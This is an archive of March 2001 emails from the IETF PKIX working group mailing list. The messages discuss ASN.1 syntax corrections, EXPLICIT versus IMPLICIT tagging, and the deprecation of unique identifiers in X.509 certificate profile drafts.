Received: from ojpsmtp.ojp.usdoj.gov (ojpmail.ojp.usdoj.gov [10.121.16.126]) by lists.ojp.usdoj.gov (8.9.3/8.9.3) with SMTP id PAA18574 for <[e-mail]>; Fri, 2 Mar 2001 15:00:51 -0500 (EST)
Received: from GATEWAY-Message_Server by ojpsmtp.ojp.usdoj.gov with Novell_GroupWise; Fri, 02 Mar 2001 14:58:45 -0500
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise 5.5.4
Date: Fri, 02 Mar 2001 14:58:21 -0500
From: "Lawrence Gross" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject:  Unsubscribe
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id MAA00489

Unsubscribe




Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA28442 for <[e-mail]>; Fri, 2 Mar 2001 11:34:50 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <F59CQP9V>; Fri, 2 Mar 2001 14:34:21 -0500
Message-ID: <[e-mail]>
From: Carlisle Adams <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Cc: [e-mail], "'[e-mail]'" <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and rfc2511bis- 01.txt)
Date: Fri, 2 Mar 2001 14:31:54 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A34F.6FF365A0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A34F.6FF365A0
Content-Type: text/plain

Hi Phil,

Thanks for the feedback and the suggestion.

These specs have undergone interop testing among half a dozen or more
(perhaps 10) independent implementations for over a year and a half now.
Some of the implementors use available ASN.1 compilers; others, perhaps, are
using hand-coding.  But in any case, I've been assuming that if there were
problems with the syntax it would have been brought to my attention long
before now.  It looks like either no one has encountered any problems, or no
one has bothered mentioning it to me.

If you (or anyone else reading this) would like to run the modules through a
syntax checker and give me a list of the necessary changes, I'd be happy to
incorporate them.  My sense, however, from what you've listed below, is that
the changes required will be sufficiently minor that they can all be taken
care of during the last "48 HOURS NOTICE" editing cleanup window from the
RFC Editor.  Therefore, I see no reason to hold up progression of either of
these documents.

Carlisle.


> ----------
> From: 	Phillip H. Griffin[SMTP:[e-mail]]
> Reply To: 	[e-mail]
> Sent: 	Friday, March 02, 2001 12:51 PM
> To: 	Carlisle Adams
> Cc: 	[e-mail]; '[e-mail]'
> Subject: 	Re: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and
> rfc2511bis-01.txt)
> 
> Petty perhaps, but it might be nice to review 
> this ASN.1 rigorously before any progression.
> 
> Just browsing through the -03 version I found 
> some busted notation. The named integer values
> "CMP1999(1), CMP2000(2)" should begin with lower
> case letters.
> 
> And "implicitConfirm ::= {id-it 13}" should be
> "implicitConfirm OBJECT IDNETIFIER ::= {id-it 13}"
> and "implicitConfirmValue ::= NULL" is invalid as
> well.
> 
> A good going over by an automated syntax checker 
> tool such as one of the freely available ones at 
> http://www.oss.com/products/syntax1.html or listed on
> http://asn1.elibel.tm.fr/en/links/index.htm#tools
> would probably find some things that I missed by eye.
> 

------_=_NextPart_001_01C0A34F.6FF365A0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and =
rfc2511bis-01.txt)</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Phil,</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Thanks for =
the feedback and the suggestion.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">These =
specs have undergone interop testing among half a dozen or more =
(perhaps 10) independent implementations for over a year and a half =
now.&nbsp; Some of the implementors use available ASN.1 compilers; =
others, perhaps, are using hand-coding.&nbsp; But in any case, I've =
been assuming that if there were problems with the syntax it would have =
been brought to my attention long before now.&nbsp; It looks like =
either no one has encountered any problems, or no one has bothered =
mentioning it to me.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">If you (or =
anyone else reading this) would like to run the modules through a =
syntax checker and give me a list of the necessary changes, I'd be =
happy to incorporate them.&nbsp; My sense, however, from what you've =
listed below, is that the changes required will be sufficiently minor =
that they can all be taken care of during the last &quot;48 HOURS =
NOTICE&quot; editing cleanup window from the RFC Editor.&nbsp; =
Therefore, I see no reason to hold up progression of either of these =
documents.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>
<BR>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Phillip H. =
Griffin[SMTP:[e-mail]]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Reply To:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">[e-mail]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Friday, March 02, 2001 12:51 =
PM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans Serif">Carlisle =
Adams</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Cc:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">[e-mail]; '[e-mail]'</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">Re: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and =
rfc2511bis-01.txt)</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Petty perhaps, but it might be nice to =
review </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">this ASN.1 rigorously before any =
progression.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Just browsing through the -03 version =
I found </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">some busted notation. The named =
integer values</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;CMP1999(1), CMP2000(2)&quot; =
should begin with lower</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">case letters.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">And &quot;implicitConfirm ::=3D {id-it =
13}&quot; should be</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;implicitConfirm OBJECT =
IDNETIFIER ::=3D {id-it 13}&quot;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">and &quot;implicitConfirmValue ::=3D =
NULL&quot; is invalid as</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">well.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">A good going over by an automated =
syntax checker </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">tool such as one of the freely =
available ones at </FONT>
<BR><U><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"http://www.oss.com/products/syntax1.html" =
TARGET=3D"_blank">http://www.oss.com/products/syntax1.html</A></FONT></U=
><FONT SIZE=3D2 FACE=3D"Arial"> or listed on</FONT>
<BR><U><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"http://asn1.elibel.tm.fr/en/links/index.htm#tools" =
TARGET=3D"_blank">http://asn1.elibel.tm.fr/en/links/index.htm#tools</A><=
/FONT></U>
<BR><FONT SIZE=3D2 FACE=3D"Arial">would probably find some things that =
I missed by eye.</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01C0A34F.6FF365A0--


Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA25845 for <[e-mail]>; Fri, 2 Mar 2001 11:16:16 -0800 (PST)
Received: from drh-consultancy.demon.co.uk ([193.237.150.98] helo=celocom.com) by anchor-post-31.mail.demon.net with esmtp (Exim 2.12 #1) id 14Yv1a-0001s5-0V for [e-mail]; Fri, 2 Mar 2001 19:15:35 +0000
Message-ID: <[e-mail]>
Date: Fri, 02 Mar 2001 19:19:44 +0000
From: Dr S N Henson <[e-mail]>
Organization: S N Henson
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: PKIX-List <[e-mail]>
Subject: Attribute certificate tagging discrepancy?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

There appears to be a discrepancy between the tagging used for attribute
certificates in X509v3, X509 4th edition (draft 7) and the current PKIX
draft draft-ietf-pkix-ac509prof-06.txt.

The X509v3 attribute certficate ASN1 module does not change the default
tagging which is EXPLICIT.

The current PKIX draft has

     DEFINITIONS EXPLICIT TAGS ::=

in Appendix B.

However the X509 4th edition V7 draft,  Annex A seems to specify
IMPLICIT tagging as the module default.

Steve.
-- 
Dr Stephen N. Henson.   http://www.drh-consultancy.demon.co.uk/
Personal Email: [e-mail] 
Senior crypto engineer, Celo Communications: http://www.celocom.com/
Core developer of the   OpenSSL project: http://www.openssl.org/
Business Email: [e-mail] PGP key: via homepage.


Received: from femail4.sdc1.sfba.home.com (femail4.sdc1.sfba.home.com [24.0.95.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA23507 for <[e-mail]>; Fri, 2 Mar 2001 10:44:23 -0800 (PST)
Received: from revelation ([65.4.166.11]) by femail4.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010302184156.BHGW27553.femail4.sdc1.sfba.home.com@revelation>; Fri, 2 Mar 2001 10:41:56 -0800
Reply-To: <[e-mail]>
From: "Jim Schaad" <[e-mail]>
To: "'Russ Housley'" <[e-mail]>, <[e-mail]>
Subject: RE: Part1 last call comments
Date: Fri, 2 Mar 2001 10:46:15 -0800
Message-ID: <001c01c0a349$0ffccde0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <[e-mail]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

> -----Original Message-----
> From: Russ Housley [mailto:[e-mail]]
> Sent: Thursday, March 01, 2001 2:51 PM
> To: [e-mail]
> Subject: Re: Part1 last call comments
>
>
> All of these comments deal with the ASN.1 modules in
> draft-ietf-pkix-new-part1-04.txt and
> draft-ietf-pkix-ipki-pkalgs-01.txt.  Jim Schaad posted some comments
> earlier, but I do not completely agree with his resolutions.  I will
> address those second.  First, I want to raise a two things
> that were not
> raised in Jim's message.
>
>   1.  AuthorityKeyIdentifier is defined as:
>
>     AuthorityKeyIdentifier ::= SEQUENCE {
>        keyIdentifier             [0] KeyIdentifier           OPTIONAL,
>        authorityCertIssuer       [1] GeneralNames            OPTIONAL,
>        authorityCertSerialNumber [2] CertificateSerialNumber
> OPTIONAL  }
>
>     KeyIdentifier ::= OCTET STRING
>
> There is nothing wrong with this ASN.1; however, at least one
> compiler
> wants either "EXPLICIT" or "IMPLICIT" to be inserted before
> CertificateSerialNumber.  Obviously, only one of these is
> correct.  The
> problem in the compiler seems to come from the fact that
> CertificateSerialNumber is imported from the explicit module.
>
> The same compiler would like "EXPLICIT" or "IMPLICIT" to be
> inserted before
> uses of ORAddress, Name, DirectoryString, and
> RelativeDistinguishedName.
>
> A programmer must know a fair amount about ASN.1 to know the
> correct type
> of tagging in each case.  To avoid implementation errors from
> anyone that
> might use that tool, should we make the insertion?  My
> initial reaction is
> that anyone who uses a tool with such shortcomings must edit
> the module to
> overcome them.  I think that preserving alignment with X.509 is
> important.  However, I think we should make sure that the example
> certificate includes these cases to help implementors catch
> mistakes early
> in the development process.

I agree with Russ that the ASN.1 is correct and we should not "fix" it for a
broken tool.

> ...
> >7. Section A.1
> >                    id-domainComponent      AttributeType ::=
> > id-domainComponent
> >      replace with
> >                    id-domainComponent      AttributeType ::=
> > id-domainComponent }
>
> I do not think that this is the correct change.  The document says:
>
>          id-domainComponent     OBJECT IDENTIFIER  ::=
>                                              { 0 9 2342
> 19200300 100 1 25 }
>
>          id-domainComponent      AttributeType ::= id-domainComponent
>          domainComponent ::=     IA5String
>
> I think the middle statement should be deleted altogether.
> Also, the last
> line must begin with a capital letter ("domainComponent" becomes
> "DomainComponent").

Deleting the middle statement is acceptable to me.
> Russ
>
>

Jim




Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA23064 for <[e-mail]>; Fri, 2 Mar 2001 10:40:48 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id HAA13209 for <[e-mail]>; Sat, 3 Mar 2001 07:40:48 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98355844824936>; Sat, 3 Mar 2001 07:40:48 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: Re: Part1 last call comments
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Sat, 3 Mar 2001 07:40:48 (NZDT)
Message-ID: <[e-mail]>

Russ Housley <[e-mail]> writes:

>A programmer must know a fair amount about ASN.1 to know the correct type of
>tagging in each case.  To avoid implementation errors from anyone that might
>use that tool, should we make the insertion?

I would say, yes.  The ASN.1 rule you quote is a booby-trap which has caught a
number of implementors (I added it to the X.509 style guide a while back for
this reason, and you still occasionally see questions about it on various
lists, and I've had a few "Your dumpasn1 shows ... but RFC 2459 says ..." too),
it'd be worth making this explicit in the ASN.1.

Peter.



Received: from mail.phaos.com ([206.30.74.234]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA22057 for <[e-mail]>; Fri, 2 Mar 2001 10:27:37 -0800 (PST)
Received: from phaos_arik.phaos.com (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id RAA29117 for <[e-mail]>; Fri, 2 Mar 2001 17:44:58 -0500 (EST) (envelope-from [e-mail])
Message-Id: <5.0.2.1.2.20010302133037.01eb83a0@206.30.74.234>
X-Sender: arik@206.30.74.234
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 02 Mar 2001 13:44:59 -0500
To: [e-mail]
From: Ari Kermaier <[e-mail]>
Subject: Re: UIDs popping up in new-part1
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

The recommendation that Section 6.1.3 be amended to remove references to 
UIDs makes sense; CAs conforming to the current profile should not be 
required to support this mechanism for certificate chaining, nor should 
UIDs be allowed to needlessly complicate the revised validation algorithm.

However, requiring that UIDs be absent from a certificate would be a 
serious error, as would recommending that conforming CAs reject 
certificates containing UIDs. If the certificate in question contains the 
information required to perform chaining and validation as per the current 
profile, why should the CA not be free to ignore the presence of extraneous 
infomation? I think it would be a Very Bad Idea to break backwards 
compatibility for what is essentially nothing more than an aesthetic 
reason. A CA conforming to the current X.509 v3 profile should NOT reject a 
certificate that has a deprecated field from a X.509 v2 profile -- it 
should just ignore that field. Of course, eveyone "knows" that "nobody" 
uses UIDs, but that's not a good reason to break, even hypothetically, 
certificates that do use them unless there's a truly compelling positive or 
negative functional benefit.

Ari Kermaier
Phaos Technology

>Last fall, we agreed to remove issuer and subject unique identifier
>comparison from the validation algorithm. At least, I think we did. The
>argument was that nobody uses unique identifiers and there's no good
>reason to retain support for them.
>
>In draft-ietf-pkix-new-part1-04.txt, this has almost been done. However,
>they remain in step (a) (5) of section 6.1.3, which says:
>
>          (5) The certificate issuer unique identifier is the
>          working_issuer_UID, meaning:
>
>             (i) working_issuer_UID is non-null and matches the value in
>             the issuerUID field, or
>
>             (ii) working_issuer_UID is null and the issuerUID field is
>             not present.
>
>But working_issuer_UID is no longer set anywhere. We should either put
>back the text that initializes and updates this state variable or we
>should change this step so that it doesn't refer to this uninitialized
>varible. I suggest that we remove support for unique identifier chaining
>by changing this step to say:
>
>          (5) The issuerUniqueID and subjectUniqueID fields are not
>          present in the certificate.
>
>This will ensure that compliant implementations will not accidentally
>accept certificates that use these fields, since support for these
>fields is no longer required. I also suggest that we change the sentence
>in section 4.1.2.8 that reads "Applications conforming to this profile
>SHOULD be capable of parsing unique identifiers and making
>comparisons."  to read "Applications conforming to this profile SHOULD
>reject certificates that contain unique identifiers."
>
>-Steve



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA19458 for <[e-mail]>; Fri, 2 Mar 2001 09:52:55 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id MAA13036; Fri, 2 Mar 2001 12:53:06 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p0501040bb6c46f8c165c@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Fri, 2 Mar 2001 12:45:34 -0500
To: "Bob Jueneman" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: UIDs popping up in new-part1
Cc: <[e-mail]>
Content-Type: multipart/alternative; boundary="============_-1228566803==_ma============"

--============_-1228566803==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Bob,

>I strongly disagree that "nobody uses unique identifiers" or that
>"there's no good reason to retain support of them."  And I even
>more strongly reject the notion that just because it is alleged that no one
>uses them, applications SHOULD reject certificates which disprove
>the allegation!

RFC 2459 has deprecated the use of these fields for some time, so 
this is not a new matter. The current RFC states, in part,:

The subject and issuer unique identifiers are present in the 
certificate to handle the possibility of reuse of subject and/or
issuer names over time.  This profile recommends that names not be
reused for different entities and that Internet certificates not make 
use of unique identifiers.  CAs conforming to this profile SHOULD NOT 
generate certificates with unique identifiers.

  Also, your intentionally obfuscated description of how you might 
want to use them is not consistent with the semantics of the fields, 
as noted above, which were designed to allow disambiguation of certs 
when DNs were reused, NOT to locate certs in the way you allude to. 
As you may recall, the motivation for these fields was a directory 
access control problem caused by bad schema design. We came out 
strongly in the RFC against this hack as a way of fixing the problem.

Steve
--============_-1228566803==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>Re: UIDs popping up in
new-part1</title></head><body>
<div>Bob,</div>
<div><br></div>
<blockquote type="cite" cite>I strongly disagree that &quot;nobody
uses unique identifiers&quot; or that<br>
&quot;there's no good reason to retain support of them.&quot;&nbsp;
And I even<br>
more strongly reject the notion that just because it is alleged that
no one<br>
uses them, applications SHOULD reject certificates which
disprove</blockquote>
<blockquote type="cite" cite>the allegation!</blockquote>
<div><br></div>
<div>RFC 2459 has deprecated the use of these fields for some time, so
this is not a new matter. The current RFC states, in part,:</div>
<div><br></div>
<div><font face="Courier" size="+2" color="#000000">The subject and
issuer unique identifiers are present in the certificate to handle the
possibility of reuse of subject and/or</font></div>
<div><font face="Courier" size="+2" color="#000000">issuer names over
time.&nbsp; This profile recommends that names not be</font></div>
<div><font face="Courier" size="+2" color="#000000">reused for
different entities and that Internet certificates not make use of
unique identifiers.&nbsp; CAs conforming to this profile SHOULD NOT
generate certificates with unique identifiers.</font></div>
<div><font face="Courier" size="+2" color="#000000"><br></font></div>
<div><font face="Courier" size="+2" color="#000000">&nbsp;</font>Also,
your intentionally obfuscated description of how you might want to use
them is not consistent with the semantics of the fields,&nbsp; as
noted above, which were designed to allow disambiguation of certs when
DNs were reused, NOT to locate certs in the way you allude to. As you
may recall, the motivation for these fields was a directory access
control problem caused by bad schema design. We came out strongly in
the RFC against this hack as a way of fixing the problem.</div>
<div><br></div>
<div>Steve</div>
</body>
</html>
--============_-1228566803==_ma============--


Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA18981 for <[e-mail]>; Fri, 2 Mar 2001 09:49:45 -0800 (PST)
Received: from asn-1.com (user-2ivf88p.dialup.mindspring.com [165.247.161.25]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id MAA04378; Fri, 2 Mar 2001 12:49:39 -0500 (EST)
Message-ID: <[e-mail]>
Date: Fri, 02 Mar 2001 12:51:29 -0500
From: "Phillip H. Griffin" <[e-mail]>
Reply-To: [e-mail]
Organization: Griffin Consulting  
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Carlisle Adams <[e-mail]>
CC: [e-mail], "'[e-mail]'" <[e-mail]>
Subject: Re: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and rfc2511bis-01.txt)
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Petty perhaps, but it might be nice to review 
this ASN.1 rigorously before any progression.

Just browsing through the -03 version I found 
some busted notation. The named integer values
"CMP1999(1), CMP2000(2)" should begin with lower
case letters.

And "implicitConfirm ::= {id-it 13}" should be
"implicitConfirm OBJECT IDNETIFIER ::= {id-it 13}"
and "implicitConfirmValue ::= NULL" is invalid as
well.

A good going over by an automated syntax checker 
tool such as one of the freely available ones at 
http://www.oss.com/products/syntax1.html or listed on
http://asn1.elibel.tm.fr/en/links/index.htm#tools
would probably find some things that I missed by eye.

Phil
----
Phillip H. Griffin    Griffin Consulting
http://asn-1.com      Secure ASN.1 Design & Implementation
p:  [phone]   1625 Glenwood Avenue
f:  [phone]   Hayes Barton at Five Points
e:  [e-mail]    Raleigh, North Carolina 27608-2319 USA
------------------------------------------------------------

> Carlisle Adams wrote:
> 
> Hi,
> 
> For those of you that are curious, 2510bis-03 and 2511bis-01 are minor
> revisions to the previous drafts which, I believe, address all
> comments received (both privately and on the list) in the past 3
> months.  I feel that both documents are now ready to progress.
> 
> The documents can be found at the following locations:
> 
> 
> http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2510bis-03.txt
> 
> http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2511bis-01.txt
> 
> The changes between rfc2510bis-02 and rfc2510bis-03 are as follows:
> 
>           p.30:  added a comment on the "waiting" status regarding the
>           possible need for a polling mechanism in the transport layer
>           and allowing the possibility of polling PKIMessages in a
>           future version of this spec.  (You might recall Magnus
>           asking for this on the PKIX list....).
> 
>           p.33:  removed tag "[1]" from publicKeyMAC field (to align
>           with syntax in RFC 2511).
> 
>           p.39:  changed "OCTET STRING" to "string" in comment
>           regarding utf8Pairs ("OCTET STRING" was confusing to some
>           people).
> 
>           p.63:  added a comment regarding the way in which a
>           requester could indicate a preference for algorithm and
>           parameters with respect to centrally-generated key pairs
>           (Magnus also asked how this could be done and I should have
>           given him this answer, but didn't think of it at the
>           time...).
> 
>           p.67:  removed the position-dependence requirement for
>           requests in cr and kur (at least a couple of people have
>           asked for this on the list, including Magnus).
> 
>           p.75:  clarified what gets signed if the AltCertTemplate
>           control is used (someone asked for this on the list).
> 
>           p.80:  (see p.30 above).
> 
>           p.85:  (see p.39 above).
> 
>           p.86:  added the certReqId field to CertStatus (I had done
>           this in the body of the spec, but forgot to copy it to this
>           appendix!).
> 
> The changes between rfc2511bis-00 and rfc2511bis-01 are as follows:
> 
>           pp.1 and 13:  changed the work affiliation for Mike Myers.
> 
>           p.10:  added a missing parenthesis in the second line of the
>           comment under encValue.
> 
>           p.12:  added a reference to PKCS11.
> 
>           p.16:  changed "OCTET STRING" to "string" in comment
>           regarding utf8Pairs ("OCTET STRING" was confusing to some
>           people).
> 
> Carlisle.


Received: from wfhqex05.gfgsi.com (netva01.wangfed.com [206.137.100.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA15410 for <[e-mail]>; Fri, 2 Mar 2001 08:23:57 -0800 (PST)
Received: by wfhqex05.gfgsi.com with Internet Mail Service (5.5.2650.21) id <Z2A4584G>; Fri, 2 Mar 2001 11:27:13 -0500
Message-ID: <[e-mail]>
From: "Pawling, John" <[e-mail]>
To: [e-mail]
Subject: RE: Part1 last call comments
Date: Fri, 2 Mar 2001 11:27:12 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

All,

We compiled the PKIX1Explicit88 module in the
draft-ietf-pkix-new-part1-04.txt using the Enhanced SNACC ASN.1 compiler.
We found some of the same problems that Jim reported (X520SerialNumber
definition missing "::="; id-domainComponent defined twice).  We also found:

1) OLD: ub-serialNumber INTEGER ::= 64
   NEW: ub-serial-number INTEGER ::= 64

2) OLD: domainComponent ::= IA5String
   NEW: DomainComponent ::= IA5String

===========================================
John Pawling, [e-mail]
Getronics Government Solutions, LLC
===========================================


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA14818 for <[e-mail]>; Fri, 2 Mar 2001 08:10:55 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Fri, 2 Mar 2001 08:10:51 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Fri, 02 Mar 2001 08:10:50 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GJSDB>; Fri, 02 Mar 2001 08:04:59 -0800
Content-return: allowed
Date: Fri, 02 Mar 2001 08:04:58 -0800
From: Frank Balluffi <[e-mail]>
Subject: RE: Part1 last call comments
To: "'Russ Housley'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Russ Housley said:

> The same compiler would like "EXPLICIT" or "IMPLICIT" to be 
> inserted before 
> uses of ORAddress, Name, DirectoryString, and 
> RelativeDistinguishedName.

Having been bitten by this in the past, I would recommend that PKIX at least
insert a comment into the ASN.1 source with the appropriate tag type.

Frank

> -----Original Message-----
> From: Russ Housley [mailto:[e-mail]]
> Sent: Thursday, March 01, 2001 5:51 PM
> To: [e-mail]
> Subject: Re: Part1 last call comments
> 
> 
> All of these comments deal with the ASN.1 modules in 
> draft-ietf-pkix-new-part1-04.txt and 
> draft-ietf-pkix-ipki-pkalgs-01.txt.  Jim Schaad posted some comments 
> earlier, but I do not completely agree with his resolutions.  I will 
> address those second.  First, I want to raise a two things 
> that were not 
> raised in Jim's message.
> 
>   1.  AuthorityKeyIdentifier is defined as:
> 
>     AuthorityKeyIdentifier ::= SEQUENCE {
>        keyIdentifier             [0] KeyIdentifier           OPTIONAL,
>        authorityCertIssuer       [1] GeneralNames            OPTIONAL,
>        authorityCertSerialNumber [2] CertificateSerialNumber 
> OPTIONAL  }
> 
>     KeyIdentifier ::= OCTET STRING
> 
> There is nothing wrong with this ASN.1; however, at least one 
> compiler 
> wants either "EXPLICIT" or "IMPLICIT" to be inserted before 
> CertificateSerialNumber.  Obviously, only one of these is 
> correct.  The 
> problem in the compiler seems to come from the fact that 
> CertificateSerialNumber is imported from the explicit module.
> 
> The same compiler would like "EXPLICIT" or "IMPLICIT" to be 
> inserted before 
> uses of ORAddress, Name, DirectoryString, and 
> RelativeDistinguishedName.
> 
> A programmer must know a fair amount about ASN.1 to know the 
> correct type 
> of tagging in each case.  To avoid implementation errors from 
> anyone that 
> might use that tool, should we make the insertion?  My 
> initial reaction is 
> that anyone who uses a tool with such shortcomings must edit 
> the module to 
> overcome them.  I think that preserving alignment with X.509 is 
> important.  However, I think we should make sure that the example 
> certificate includes these cases to help implementors catch 
> mistakes early 
> in the development process.
> 
> 2.  The implicit module (section A.2) contains the following:
> 
>     DistributionPoint ::= SEQUENCE {
>          distributionPoint       [0]     
> DistributionPointName OPTIONAL,
>          reasons                 [1]     ReasonFlags OPTIONAL,
>          cRLIssuer               [2]     GeneralNames OPTIONAL }
> 
>     IssuingDistributionPoint ::= SEQUENCE {
>       distributionPoint       [0] DistributionPointName OPTIONAL,
>       onlyContainsUserCerts   [1] BOOLEAN DEFAULT FALSE,
